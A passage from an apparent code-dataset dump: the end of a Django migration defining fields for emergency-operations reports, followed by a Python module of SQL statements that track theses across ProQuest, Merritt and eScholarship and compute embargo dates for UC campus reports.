('raw_shelter_people_reached', models.TextField(blank=True, null=True)),
('raw_shelter_people_targeted', models.TextField(blank=True, null=True)),
('raw_shelter_requirements', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_female', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_male', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_people_reached', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_people_targeted', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_requirements', models.TextField(blank=True, null=True)),
('file_name', models.TextField(blank=True, null=True)),
('appeal_number', models.CharField(blank=True, max_length=20, null=True)),
('date_of_disaster', models.DateField(blank=True, null=True)),
('date_of_issue', models.DateField(blank=True, null=True)),
('glide_number', models.CharField(blank=True, max_length=18, null=True)),
('num_of_other_partner_involved', models.TextField(blank=True, null=True)),
('num_of_partner_ns_involved', models.TextField(blank=True, null=True)),
('num_of_people_affected', models.IntegerField(blank=True, null=True)),
('num_of_people_to_be_assisted', models.IntegerField(blank=True, null=True)),
('operation_end_date', models.DateField(blank=True, null=True)),
('operation_start_date', models.DateField(blank=True, null=True)),
('overall_operation_budget', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_female', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_male', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_people_reached', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_people_targeted', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_requirements', models.IntegerField(blank=True, null=True)),
('health_female', models.IntegerField(blank=True, null=True)),
('health_male', models.IntegerField(blank=True, null=True)),
('health_people_reached', models.IntegerField(blank=True, null=True)),
('health_people_targeted', models.IntegerField(blank=True, null=True)),
('health_requirements', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_female', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_male', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_people_reached', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_people_targeted', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_requirements', models.IntegerField(blank=True, null=True)),
('migration_female', models.IntegerField(blank=True, null=True)),
('migration_male', models.IntegerField(blank=True, null=True)),
('migration_people_reached', models.IntegerField(blank=True, null=True)),
('migration_people_targeted', models.IntegerField(blank=True, null=True)),
('migration_requirements', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_female', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_male', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_people_reached', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_people_targeted', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_requirements', models.IntegerField(blank=True, null=True)),
('shelter_female', models.IntegerField(blank=True, null=True)),
('shelter_male', models.IntegerField(blank=True, null=True)),
('shelter_people_reached', models.IntegerField(blank=True, null=True)),
('shelter_people_targeted', models.IntegerField(blank=True, null=True)),
('shelter_requirements', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_female', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_male', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_people_reached', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_people_targeted', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_requirements', models.IntegerField(blank=True, null=True)),
],
options={
'verbose_name': 'Emergency Operations Final Report',
'verbose_name_plural': 'Emergency Operations Final Reports',
},
),
migrations.CreateModel(
name='EmergencyOperationsPeopleReached',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('is_validated', models.BooleanField(default=False, help_text='Did anyone check the editable data?')),
('created_at', models.DateTimeField(auto_now_add=True)),
('modified_at', models.DateTimeField(auto_now=True)),
('raw_file_name', models.TextField(blank=True, null=True)),
('raw_file_url', models.TextField(blank=True, null=True)),
('raw_appeal_number', models.TextField(blank=True, null=True)),
('raw_date_of_issue', models.TextField(blank=True, null=True)),
('raw_epoa_update_num', models.TextField(blank=True, null=True)),
('raw_glide_number', models.TextField(blank=True, null=True)),
('raw_operation_start_date', models.TextField(blank=True, null=True)),
('raw_operation_timeframe', models.TextField(blank=True, null=True)),
('raw_time_frame_covered_by_update', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_female', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_male', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_people_targeted', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_requirements', models.TextField(blank=True, null=True)),
('raw_health_female', models.TextField(blank=True, null=True)),
('raw_health_male', models.TextField(blank=True, null=True)),
('raw_health_people_targeted', models.TextField(blank=True, null=True)),
('raw_health_requirements', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_female', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_male', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_people_targeted', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_requirements', models.TextField(blank=True, null=True)),
('raw_migration_female', models.TextField(blank=True, null=True)),
('raw_migration_male', models.TextField(blank=True, null=True)),
('raw_migration_people_targeted', models.TextField(blank=True, null=True)),
('raw_migration_requirements', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_female', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_male', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_people_targeted', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_requirements', models.TextField(blank=True, null=True)),
('raw_shelter_female', models.TextField(blank=True, null=True)),
('raw_shelter_male', models.TextField(blank=True, null=True)),
('raw_shelter_people_targeted', models.TextField(blank=True, null=True)),
('raw_shelter_requirements', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_female', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_male', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_people_targeted', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_requirements', models.TextField(blank=True, null=True)),
('file_name', models.TextField(blank=True, null=True)),
('appeal_number', models.CharField(blank=True, max_length=20, null=True)),
('date_of_issue', models.DateField(blank=True, null=True)),
('dref_allocated', models.IntegerField(blank=True, null=True)),
('epoa_update_num', models.IntegerField(blank=True, null=True)),
('glide_number', models.CharField(blank=True, max_length=18, null=True)),
('operation_start_date', models.DateField(blank=True, null=True)),
('operation_timeframe', models.TextField(blank=True, null=True)),
('time_frame_covered_by_update', models.TextField(blank=True, null=True)),
('disaster_risk_reduction_female', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_male', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_people_targeted', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_requirements', models.IntegerField(blank=True, null=True)),
('health_female', models.IntegerField(blank=True, null=True)),
('health_male', models.IntegerField(blank=True, null=True)),
('health_people_targeted', models.IntegerField(blank=True, null=True)),
('health_requirements', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_female', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_male', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_people_targeted', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_requirements', models.IntegerField(blank=True, null=True)),
('migration_female', models.IntegerField(blank=True, null=True)),
('migration_male', models.IntegerField(blank=True, null=True)),
('migration_people_targeted', models.IntegerField(blank=True, null=True)),
('migration_requirements', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_female', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_male', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_people_targeted', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_requirements', models.IntegerField(blank=True, null=True)),
('shelter_female', models.IntegerField(blank=True, null=True)),
('shelter_male', models.IntegerField(blank=True, null=True)),
('shelter_people_targeted', models.IntegerField(blank=True, null=True)),
('shelter_requirements', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_female', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_male', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_people_targeted', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_requirements', models.IntegerField(blank=True, null=True)),
],
),
migrations.AlterField(
model_name='emergencyoperationsdataset',
name='dref_allocated',
field=models.IntegerField(blank=True, null=True),
),
]
| 84.467742
| 118
| 0.660531
| 2,845
| 26,185
| 5.775044
| 0.046046
| 0.140779
| 0.1986
| 0.259708
| 0.966768
| 0.960864
| 0.956178
| 0.951613
| 0.938162
| 0.93311
| 0
| 0.001549
| 0.211266
| 26,185
| 309
| 119
| 84.7411
| 0.793977
| 0.001757
| 0
| 0.851485
| 1
| 0
| 0.30256
| 0.238321
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.0033
| 0
| 0.013201
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
5c92ef9856fcc395ca7b7fbbac5c0aed67127c09
| 19,950
|
py
|
Python
|
scripts/sqlstatements.py
|
CDLUC3/uc3-etds
|
055efd45aa7efe9c5b7ea99d3c0c599935cd6182
|
[
"MIT"
] | 1
|
2020-01-28T23:05:08.000Z
|
2020-01-28T23:05:08.000Z
|
scripts/sqlstatements.py
|
CDLUC3/uc3-etds
|
055efd45aa7efe9c5b7ea99d3c0c599935cd6182
|
[
"MIT"
] | null | null | null |
scripts/sqlstatements.py
|
CDLUC3/uc3-etds
|
055efd45aa7efe9c5b7ea99d3c0c599935cd6182
|
[
"MIT"
] | null | null | null |
upd_pq_metadata="""
INSERT OR REPLACE INTO pq_metadata
SELECT author, title, substr(accept_date,7,4) || '-' || substr(accept_date,1,2) || '-' || substr(accept_date,4,2), embargo_code, degree, dept, advisor, 'PQETD:' || SUBSTR(local_id, 1,LENGTH(local_id)-6) || SUBSTR(local_id,-5), student_agreement_date, local_embargo_period, local_IR_access_option,
CASE when length(sales_restrict_remove)>1
THEN substr(sales_restrict_remove,7,4) || '-' || substr(sales_restrict_remove,1,2) || '-' || substr(sales_restrict_remove,4,2)
ELSE ""
END,
CASE when cc_license='none'
THEN NULL
WHEN cc_license=''
THEN NULL
ELSE cc_license
END, pub_option, third_party_search, third_party_sales, free_publishing_flag, aux_file
FROM tmp_pq_metadata;
"""
upd_tmp_pq_metadata="""
INSERT INTO tmp_pq_metadata (author, title, accept_date, embargo_code, degree, dept, advisor, local_id, student_agreement_date, local_embargo_period, local_IR_access_option, sales_restrict_remove, cc_license, pub_option, third_party_search, third_party_sales, free_publishing_flag, aux_file) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
"""
upd_tmp_pq_metadata_null="""
update tmp_pq_metadata SET cc_license=NULL where substr(cc_license,1,4)='none';
update tmp_pq_metadata SET cc_license=NULL where length(cc_license)=1;
update tmp_pq_metadata SET local_IR_access_option=NULL where local_IR_access_option='';
update tmp_pq_metadata SET sales_restrict_remove=NULL where sales_restrict_remove='';
update tmp_pq_metadata SET local_embargo_period=NULL where local_embargo_period='';
update tmp_pq_metadata SET student_agreement_date=NULL where student_agreement_date='';
update tmp_pq_metadata SET free_publishing_flag=NULL where free_publishing_flag=char(10);
update tmp_pq_metadata SET third_party_sales=NULL where third_party_sales='';
"""
retrieve_inv_merritt_ingest="""
select inv_ingests.job_id as job_id, inv_objects.ark as merritt_ark, inv_objects.erc_where as local_id, inv_objects.version_number as version, inv_ingests.filename as filename, inv_objects.erc_what as obj_title, inv_objects.erc_who as obj_creator, inv_objects.erc_when as obj_date, inv_ingests.submitted as submit_date, inv_objects.modified as complete_date
from inv_objects, inv_ingests
where inv_objects.id=inv_ingests.inv_object_id
and inv_ingests.profile IN ('uci_lib_etd_content', 'ucm_lib_etd_content', 'ucr_lib_etd_content', 'ucsb_lib_etd_content', 'ucsc_lib_etd_content', 'ucsd_lib_etd_content', 'ucsf_lib_etd_content')
and DATE(inv_ingests.submitted)=CURDATE();
"""
retrieve_inv_merritt_ingest_ucla="""
select inv_ingests.job_id as job_id, inv_objects.ark as merritt_ark, inv_objects.erc_where as local_id, inv_objects.version_number as version, inv_ingests.filename as filename, inv_objects.erc_what as obj_title, inv_objects.erc_who as obj_creator, inv_objects.erc_when as obj_date, inv_ingests.submitted as submit_date, inv_objects.modified as complete_date
from inv_objects, inv_ingests
where inv_objects.id=inv_ingests.inv_object_id
and inv_ingests.profile='ucla_lib_etd_content'
and DATE(inv_ingests.submitted)=CURDATE();
"""
upd_tmp_merritt_ingest="""
INSERT INTO tmp_merritt_ingest (job_id, merritt_ark, local_id, version, filename, obj_title, obj_creator, obj_date, submit_date, complete_date) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
"""
upd_merritt_ingest="""
INSERT OR REPLACE INTO merritt_ingest
SELECT merritt_ark, replace(local_id, rtrim(local_id, replace(local_id, ' ; ', '')), ''), version, filename, obj_title, obj_creator, obj_date, substr(complete_date,1,10) from tmp_merritt_ingest
WHERE tmp_merritt_ingest.merritt_ark!='merritt_ark' OR tmp_merritt_ingest.merritt_ark!=NULL;
"""
upd_merritt_ingest_ucla="""
INSERT OR REPLACE INTO merritt_ingest
SELECT merritt_ark, ltrim(replace(local_id, rtrim(local_id, replace(local_id, '; ', '')), '')), version, filename, obj_title, obj_creator, substr(obj_date,1,4), substr(complete_date,1,10) from tmp_merritt_ingest
WHERE tmp_merritt_ingest.merritt_ark!='merritt_ark' OR tmp_merritt_ingest.merritt_ark!=NULL;
"""
upd_tmp_escholfeed="""
INSERT INTO tmp_escholfeed (title, eschol_link, local_id, merritt_submit_date, merritt_ark) VALUES (?, ?, ?, ?, ?);
"""
upd_escholfeed="""
INSERT OR REPLACE INTO escholfeed SELECT eschol_link, merritt_submit_date, substr(merritt_ark,16,LENGTH(merritt_ark)-16) from tmp_escholfeed WHERE tmp_escholfeed.eschol_link!="eScholarship Link" OR tmp_escholfeed.eschol_link!=NULL;
"""
get_merritt_ark="""
SELECT merritt_ark from merritt_ingest WHERE filename=?;
"""
get_eschol_link="""
SELECT eschol_link FROM escholfeed WHERE merritt_ark=?;
"""
upd_mrt_eschol_pq_file="""
SELECT merritt_ingest.merritt_ark, merritt_ingest.local_id, escholfeed.eschol_link FROM merritt_ingest, escholfeed WHERE merritt_ingest.merritt_ark=escholfeed.merritt_ark;
"""
upd_pq_merritt_match="""
SELECT pq_gateway.title , pq_gateway.isbn , pq_gateway.pq_id , pq_metadata.local_id, escholfeed.eschol_link , pq_metadata.embargo_code, pq_metadata.sales_restrict_remove FROM pq_gateway, pq_metadata, merritt_ingest LEFT OUTER JOIN marc_records ON ( marc_records.isbn = pq_gateway.isbn ) LEFT OUTER JOIN escholfeed ON ( escholfeed.merritt_ark = merritt_ingest.merritt_ark ) WHERE marc_records.isbn IS NULL AND pq_gateway.title = merritt_ingest.obj_title COLLATE NOCASE AND pq_metadata.local_id = merritt_ingest.local_id;
"""
report_ucla="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:ucla') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Year Accepted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', escholfeed.eschol_link AS 'eScholarship Link', IFNULL('http://search.proquest.com/docview/'|| pq_gateway.pq_id,' ') AS 'Proquest Link', embargo_codes.label AS 'Embargo Period', CASE WHEN pq_metadata.embargo_code='4' AND length(pq_metadata.local_embargo_period)<10 THEN date(pq_metadata.sales_restrict_remove) WHEN pq_metadata.embargo_code=4 and length(pq_metadata.local_embargo_period)>=10 THEN date(pq_metadata.local_embargo_period) WHEN pq_metadata.embargo_code<'4' THEN CASE WHEN strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '-1 day') END END AS 'Embargo End Date', date(marc_records.date_delivered) AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes LEFT OUTER JOIN pq_gateway ON merritt_ingest.obj_title=pq_gateway.title COLLATE NOCASE LEFT OUTER JOIN escholfeed ON merritt_ingest.merritt_ark=escholfeed.merritt_ark LEFT OUTER JOIN marc_records ON escholfeed.eschol_link=marc_records.eschol_link WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,4)='ucla' AND pq_metadata.embargo_code=embargo_codes.code AND date(merritt_ingest.complete_date)>date('2017-01-01') ORDER BY merritt_ingest.local_id;
"""
report_uci="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:uci') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Year Accepted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', escholfeed.eschol_link AS 'eScholarship Link', IFNULL('http://search.proquest.com/docview/'|| pq_gateway.pq_id,' ') AS 'Proquest Link', embargo_codes.label AS 'Embargo Period', CASE WHEN pq_metadata.embargo_code='4' AND length(pq_metadata.local_embargo_period)<10 THEN date(pq_metadata.sales_restrict_remove) WHEN pq_metadata.embargo_code=4 and length(pq_metadata.local_embargo_period)>=10 THEN date(pq_metadata.local_embargo_period) WHEN pq_metadata.embargo_code<'4' THEN CASE WHEN strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '-1 day') END END AS 'Embargo End Date', date(marc_records.date_delivered) AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes LEFT OUTER JOIN pq_gateway ON merritt_ingest.obj_title=pq_gateway.title COLLATE NOCASE LEFT OUTER JOIN escholfeed ON merritt_ingest.merritt_ark=escholfeed.merritt_ark LEFT OUTER JOIN marc_records ON escholfeed.eschol_link=marc_records.eschol_link WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,LENGTH(merritt_ingest.local_id)-11)='uci' AND pq_metadata.embargo_code=embargo_codes.code ORDER BY merritt_ingest.local_id;
"""
report_ucsd="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:ucsd') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Year Accepted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', escholfeed.eschol_link AS 'eScholarship Link', IFNULL('http://search.proquest.com/docview/'|| pq_gateway.pq_id,' ') AS 'Proquest Link', embargo_codes.label AS 'Embargo Period', CASE WHEN pq_metadata.embargo_code='4' AND length(pq_metadata.local_embargo_period)<10 THEN date(pq_metadata.sales_restrict_remove) WHEN pq_metadata.embargo_code=4 and length(pq_metadata.local_embargo_period)>=10 THEN date(pq_metadata.local_embargo_period) WHEN pq_metadata.embargo_code<'4' THEN CASE WHEN strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '-1 day') END END AS 'Embargo End Date', date(marc_records.date_delivered) AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes LEFT OUTER JOIN pq_gateway ON merritt_ingest.obj_title=pq_gateway.title COLLATE NOCASE LEFT OUTER JOIN escholfeed ON merritt_ingest.merritt_ark=escholfeed.merritt_ark LEFT OUTER JOIN marc_records ON escholfeed.eschol_link=marc_records.eschol_link WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,4)='ucsd' AND pq_metadata.embargo_code=embargo_codes.code ORDER BY merritt_ingest.local_id;
"""
report_ucm="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:ucmerced') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Date Submitted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', escholfeed.eschol_link AS 'eScholarship Link', IFNULL('http://search.proquest.com/docview/'|| pq_gateway.pq_id,' ') AS 'Proquest Link', CASE WHEN pq_metadata.local_embargo_period IS NOT NULL AND pq_metadata.local_embargo_period <> "" AND length(pq_metadata.local_embargo_period)<10 THEN pq_metadata.local_embargo_period ELSE embargo_codes.label END AS 'Embargo Period', CASE WHEN pq_metadata.embargo_code='4' THEN date(pq_metadata.sales_restrict_remove) WHEN pq_metadata.embargo_code<'4' AND strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || embargo_codes.label || '', '-1 day') END AS 'Embargo End Date', date(marc_records.date_delivered) AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes LEFT OUTER JOIN escholfeed ON merritt_ingest.merritt_ark=escholfeed.merritt_ark LEFT OUTER JOIN pq_gateway ON merritt_ingest.obj_title=pq_gateway.title COLLATE NOCASE LEFT OUTER JOIN marc_records ON escholfeed.eschol_link=marc_records.eschol_link WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,LENGTH(merritt_ingest.local_id)-11)='ucmerced' AND pq_metadata.embargo_code=embargo_codes.code GROUP BY merritt_ingest.local_id;
"""
report_ucr="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:ucr') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Date Submitted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', escholfeed.eschol_link AS 'eScholarship Link', IFNULL('http://search.proquest.com/docview/'|| pq_gateway.pq_id,' ') AS 'Proquest Link', CASE WHEN pq_metadata.local_embargo_period IS NOT NULL AND pq_metadata.local_embargo_period <> "" AND length(pq_metadata.local_embargo_period)<10 THEN pq_metadata.local_embargo_period ELSE embargo_codes.label END AS 'Embargo Period', CASE WHEN pq_metadata.embargo_code='4' THEN date(pq_metadata.sales_restrict_remove) WHEN pq_metadata.embargo_code<'4' AND strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || embargo_codes.label || '', '-1 day') END AS 'Embargo End Date', date(marc_records.date_delivered) AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes LEFT OUTER JOIN pq_gateway ON merritt_ingest.obj_title=pq_gateway.title COLLATE NOCASE LEFT OUTER JOIN escholfeed ON merritt_ingest.merritt_ark=escholfeed.merritt_ark LEFT OUTER JOIN marc_records ON escholfeed.eschol_link=marc_records.eschol_link WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,LENGTH(merritt_ingest.local_id)-11)='ucr' AND pq_metadata.embargo_code=embargo_codes.code AND date(merritt_ingest.complete_date)>date('now','-7 days') ORDER BY merritt_ingest.local_id;
"""
report_ucsf="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:ucsf') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Year Accepted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', ' ' AS 'eScholarship Link', ' ' AS 'Proquest Link', embargo_codes.label AS 'Embargo Period', CASE WHEN embargo_codes.code='4' THEN date(pq_metadata.sales_restrict_remove) WHEN embargo_codes.code<'4' AND strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || embargo_codes.label || '', '-1 day') END AS 'Embargo End Date', ' ' AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,LENGTH(merritt_ingest.local_id)-11)='ucsf' AND pq_metadata.embargo_code=embargo_codes.code AND date(merritt_ingest.complete_date)>date('now','-7 days') ORDER BY merritt_ingest.local_id;
"""
report_ucsc="""
SELECT LTRIM(merritt_ingest.local_id, 'PQETD:ucsc') as 'Proquest ID', merritt_ingest.obj_creator AS 'Author', merritt_ingest.obj_title AS 'Title', strftime('%Y', pq_metadata.accept_date) AS 'Year Accepted', merritt_ingest.merritt_ark AS 'Merritt ARK', merritt_ingest.complete_date AS 'Submitted to Merritt', escholfeed.eschol_link AS 'eScholarship Link', IFNULL('http://search.proquest.com/docview/'|| pq_gateway.pq_id,' ') AS 'Proquest Link', embargo_codes.label AS 'Embargo Period', CASE WHEN pq_metadata.embargo_code='4' AND length(pq_metadata.local_embargo_period)<10 THEN date(pq_metadata.sales_restrict_remove) WHEN pq_metadata.embargo_code=4 and length(pq_metadata.local_embargo_period)>=10 THEN date(pq_metadata.local_embargo_period) WHEN pq_metadata.embargo_code<'4' THEN CASE WHEN strftime('%d', pq_metadata.accept_date)='01' AND strftime('%m', pq_metadata.accept_date)='01' THEN date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '+1 year','-1 day') ELSE date(pq_metadata.accept_date,'' || '+' || embargo_codes.label || '', '-1 day') END END AS 'Embargo End Date', date(marc_records.date_delivered) AS 'MARC Record Delivered' FROM pq_metadata, merritt_ingest, embargo_codes LEFT OUTER JOIN pq_gateway ON merritt_ingest.obj_title=pq_gateway.title COLLATE NOCASE LEFT OUTER JOIN escholfeed ON merritt_ingest.merritt_ark=escholfeed.merritt_ark LEFT OUTER JOIN marc_records ON escholfeed.eschol_link=marc_records.eschol_link WHERE pq_metadata.local_id=merritt_ingest.local_id AND SUBSTR(merritt_ingest.local_id,7,4)='ucsc' AND pq_metadata.embargo_code=embargo_codes.code ORDER BY merritt_ingest.local_id;
"""
upd_tmp_marc_records="""
INSERT INTO tmp_marc (isbn, author, title, eschol_link, pq_link) VALUES (?, ?, ?, ?, ?);
"""
upd_marc_records="""
INSERT OR REPLACE INTO marc_records(eschol_link, pq_link, isbn, date_delivered) SELECT tmp_marc.eschol_link, tmp_marc.pq_link, tmp_marc.isbn, datetime('now','localtime') from tmp_marc;
"""
mrt_ingest_qry="""
SELECT * from inv_ingests WHERE filename=%s;
"""
get_campus_abbr="""
SELECT local_id FROM merritt_ingest WHERE filename=?;
"""
is_delivery_needed="""
SELECT count(*) FROM merritt_ingest WHERE complete_date=date(\'now\') AND local_id like ?;
"""
etddb_check_if_marc_record="""
SELECT marc_records.eschol_link FROM marc_records, escholfeed, merritt_ingest WHERE marc_records.eschol_link=escholfeed.eschol_link AND escholfeed.merritt_ark=merritt_ingest.merritt_ark AND merritt_ingest.filename=?;
"""
del_tmp_pq_metadata="""
DELETE FROM tmp_pq_metadata;
"""
del_tmp_marc_records="""
DELETE from tmp_marc;
"""
deltmp=("DELETE from tmp_escholfeed;","DELETE from tmp_merritt_ingest;","DELETE from tmp_pq_metadata;","DELETE from tmp_marc;","DELETE from tmp_pq_gateway;","DELETE from tmp_ucm_grad_div_pq_rpt;")
delalltmp=("DELETE from tmp_escholfeed;","DELETE from tmp_merritt_ingest;","DELETE from tmp_pq_metadata;","DELETE from tmp_marc;","DELETE from tmp_pq_gateway;","DELETE from tmp_ucm_grad_div_pq_rpt;","DELETE from tmp_merritt_ark;","VACUUM;")
retrieve_pqqry_metadata_temp="""
SELECT merritt_ingest.obj_creator, merritt_ingest.obj_title FROM merritt_ingest LEFT OUTER JOIN escholfeed on (escholfeed.merritt_ark=merritt_ingest.merritt_ark) WHERE merritt_ingest.obj_title NOT IN (SELECT title FROM pq_gateway) AND merritt_ingest.merritt_ark NOT IN (SELECT ark FROM no_pq_gateway) AND merritt_ingest.complete_date < date ('now', '-10 day');
"""
retrieve_pqqry_metadata="""
SELECT merritt_ingest.obj_creator, merritt_ingest.obj_title FROM merritt_ingest LEFT OUTER JOIN escholfeed on (escholfeed.merritt_ark=merritt_ingest.merritt_ark) WHERE merritt_ingest.obj_title NOT IN (SELECT title FROM pq_gateway) AND merritt_ingest.merritt_ark NOT IN (SELECT ark FROM no_pq_gateway) AND merritt_ingest.complete_date < date ('now', '-10 day');
"""
upd_tmp_pq_gateway="""
INSERT INTO tmp_pq_gateway(pq_id, isbn, author, title) VALUES (?, ?, ?, ?);
"""
upd_pq_gateway="""
